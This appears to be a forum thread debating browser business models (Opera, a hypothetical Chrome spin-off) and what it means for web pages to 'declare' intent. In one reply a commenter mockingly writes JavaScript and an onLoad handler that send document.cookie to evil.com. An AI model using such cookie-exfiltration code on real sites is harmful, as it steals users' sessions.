No thanks. They should have to declare to the browser what it is they want done instead.
I'd also argue that creating a full browser without a profit motive is more unrealistic than creating an extension and uploading it - for free - to a web store.
The best pure browser company in history was Opera, and they didn't fail because they weren't innovating. It is simply not a survivable model. People don't remember anything, but during Google's recent anti trust case, one floated "solution" was to spin Chrome off as a separate company, but that was regarded as unrealistic partly because such a company would not have a credible path to profitability separate from Google.
I happen to disagree, they could have collected a search licensing fee just like Firefox but that model is already being regarded as monopoly adjacent.
1. https://old.reddit.com/r/operabrowser/comments/3jxud3/exoper...
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
}); <body onLoad="http.GET('http://evil.com/"+document.cookie')">https://en.wikipedia.org/wiki/Declaration_(computer_programm...:
> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization
https://en.wikipedia.org/wiki/Statement_(computer_science):
> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out
The argument has nothing at all to do with declaring permissions in a manifest.